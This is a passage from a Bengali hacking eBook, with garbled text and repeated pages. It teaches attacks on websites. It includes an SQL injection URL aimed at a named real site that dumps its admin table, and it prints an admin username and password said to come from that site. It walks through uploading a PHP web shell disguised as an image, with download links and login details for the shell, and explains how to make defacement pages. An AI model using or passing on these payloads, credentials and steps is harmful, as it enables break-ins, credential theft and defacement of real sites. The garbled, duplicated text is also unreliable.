httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH

AR(101 115 116 95 97 100 109 105 110)--

ছকতফঃ

অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন

সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ

uiduseridpasswordemailidsignaturelast_login

এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা

এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ

এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা

সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন

করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ

এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ

এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ

+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--

ছকতফঃ

সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন

এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013

আউজাযচছভভ trustadmin

াযাডব isti$$952013

এখন সল কাজ চছে এডকতভন সচছনর সফয কযা

এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ

মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন

-httpscansubhashdasyamcomadmin-panel-finderphp

অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয

অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন

তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন

httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player

কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না

অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না

কতরচছখচছছনঃ ফারক িঅহমমদ

অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ

াগমবিঃ

Mozilla Firox ভকতজরা পাযাযপকস

Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক

httpsaddonsmozillaorgenfirefoxaddonlive-http-headers

shell সম সকান সর ফযফায কযচছত াচছযন

কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell

httpwwwpastebucketcom19852

or

wwwmediafirecom64fjdlvzo9zhrra

shell username and password

username I-47

password I-47

তাহম এেি শর কসর

১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর

করণ

২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg

৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ

৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন

৫save click কচছযন

৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন

১এখন কতিক করন 47phpjpgচছয কতিক করণ

২ Reply ফাটন

৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত

৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক

২ Reply ফাটন

এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ

এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ

wwwsitecomgallery37473jpg

এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php

এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ

Video Tutorial

httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube

কতরচছখচছছনঃ ফারক িঅহমমদ

কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা

--==DefacePage Generator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন

১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r

২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন

সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif

৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন

এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave

as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files

কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml

--==Advance Deface Page Creator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

Tutorial -

পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন

এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ

এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ

এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন

Add Homepage title and texts এ কতিক করন

এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন

সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন

সরখা সল চছর চছক কচছয কতদন

এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন

সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html

--==অকতনমকতদ HTML াচছযন==--

অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন

Collection -bcaware

httpwwwtunerpagecomarchives78980

httpwwwtunerpagecomarchives98804

httpwwwtunerpagecomarchives219088

httpwwwtunerpagecomarchives224434

---------------------------------------------------------------------------------------

---------------------------------------------------------------------------------

1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ

2 Collection of Important Programming Languages E-books

httpwwwfacebookcomdownload290805637728289Collection20of20Important2

0Programming20Languages20Erar

3 Collection of best SQL injection Tools

পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ

অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন

পারক অচছভদ

wwwfacebookcommdfaroqueahmed

Mystrious Tusin

wwwfacebookcomcyb3rc0d3

Page 74: Hacking Bangla eBook

এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ

+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--

ছকতফঃ

সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন

এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013

আউজাযচছভভ trustadmin

াযাডব isti$$952013

এখন সল কাজ চছে এডকতভন সচছনর সফয কযা

এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ

মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন

-httpscansubhashdasyamcomadmin-panel-finderphp

অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয

অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন

তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন

httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player

কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না

অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না

কতরচছখচছছনঃ ফারক িঅহমমদ

অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ

াগমবিঃ

Mozilla Firox ভকতজরা পাযাযপকস

Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক

httpsaddonsmozillaorgenfirefoxaddonlive-http-headers

shell সম সকান সর ফযফায কযচছত াচছযন

কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell

httpwwwpastebucketcom19852

or

wwwmediafirecom64fjdlvzo9zhrra

shell username and password

username I-47

password I-47

তাহম এেি শর কসর

১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর

করণ

২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg

৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ

৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন

৫save click কচছযন

৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন

১এখন কতিক করন 47phpjpgচছয কতিক করণ

২ Reply ফাটন

৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত

৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক

২ Reply ফাটন

এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ

এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ

wwwsitecomgallery37473jpg

এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php

এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ

Video Tutorial

httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube

কতরচছখচছছনঃ ফারক িঅহমমদ

কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা

--==DefacePage Generator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন

১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r

২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন

সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif

৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন

এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave

as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files

কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml

--==Advance Deface Page Creator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

Tutorial -

পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন

এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ

এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ

এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন

Add Homepage title and texts এ কতিক করন

এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন

সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন

সরখা সল চছর চছক কচছয কতদন

এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন

সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html

--==অকতনমকতদ HTML াচছযন==--

অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন

Collection -bcaware

httpwwwtunerpagecomarchives78980

httpwwwtunerpagecomarchives98804

httpwwwtunerpagecomarchives219088

httpwwwtunerpagecomarchives224434

---------------------------------------------------------------------------------------

---------------------------------------------------------------------------------

1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ

2 Collection of Important Programming Languages E-books

httpwwwfacebookcomdownload290805637728289Collection20of20Important2

0Programming20Languages20Erar

3 Collection of best SQL injection Tools

পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ

অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন

পারক অচছভদ

wwwfacebookcommdfaroqueahmed

Mystrious Tusin

wwwfacebookcomcyb3rc0d3

Page 75: Hacking Bangla eBook

আউজাযচছভভ trustadmin

াযাডব isti$$952013

এখন সল কাজ চছে এডকতভন সচছনর সফয কযা

এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ

মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন

-httpscansubhashdasyamcomadmin-panel-finderphp

অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয

অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন

তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন

httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player

কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না

অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না

কতরচছখচছছনঃ ফারক িঅহমমদ

অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ

াগমবিঃ

Mozilla Firox ভকতজরা পাযাযপকস

Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক

httpsaddonsmozillaorgenfirefoxaddonlive-http-headers

shell সম সকান সর ফযফায কযচছত াচছযন

কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell

httpwwwpastebucketcom19852

or

wwwmediafirecom64fjdlvzo9zhrra

shell username and password

username I-47

password I-47

তাহম এেি শর কসর

১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর

করণ

২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg

৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ

৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন

৫save click কচছযন

৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন

১এখন কতিক করন 47phpjpgচছয কতিক করণ

২ Reply ফাটন

৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত

৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক

২ Reply ফাটন

এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ

এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ

wwwsitecomgallery37473jpg

এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php

এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ

Video Tutorial

httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube

কতরচছখচছছনঃ ফারক িঅহমমদ

কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা

--==DefacePage Generator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন

১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r

২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন

সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif

৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন

এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave

as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files

কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml

--==Advance Deface Page Creator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

Tutorial -

পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন

এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ

এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ

এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন

Add Homepage title and texts এ কতিক করন

এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন

সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন

সরখা সল চছর চছক কচছয কতদন

এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন

সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html

--==অকতনমকতদ HTML াচছযন==--

অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন

Collection -bcaware

httpwwwtunerpagecomarchives78980

httpwwwtunerpagecomarchives98804

httpwwwtunerpagecomarchives219088

httpwwwtunerpagecomarchives224434

---------------------------------------------------------------------------------------

---------------------------------------------------------------------------------

1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ

2 Collection of Important Programming Languages E-books

httpwwwfacebookcomdownload290805637728289Collection20of20Important2

0Programming20Languages20Erar

3 Collection of best SQL injection Tools

পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ

অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন

পারক অচছভদ

wwwfacebookcommdfaroqueahmed

Mystrious Tusin

wwwfacebookcomcyb3rc0d3

Page 76: Hacking Bangla eBook

অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ

াগমবিঃ

Mozilla Firox ভকতজরা পাযাযপকস

Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক

httpsaddonsmozillaorgenfirefoxaddonlive-http-headers

shell সম সকান সর ফযফায কযচছত াচছযন

কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell

httpwwwpastebucketcom19852

or

wwwmediafirecom64fjdlvzo9zhrra

shell username and password

username I-47

password I-47

তাহম এেি শর কসর

১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর

করণ

২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg

৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ

৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন

৫save click কচছযন

৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন

১এখন কতিক করন 47phpjpgচছয কতিক করণ

২ Reply ফাটন

৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত

৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক

২ Reply ফাটন

এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ

এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ

wwwsitecomgallery37473jpg

এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php

এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ

Video Tutorial

httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube

কতরচছখচছছনঃ ফারক িঅহমমদ

কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা

--==DefacePage Generator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন

১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r

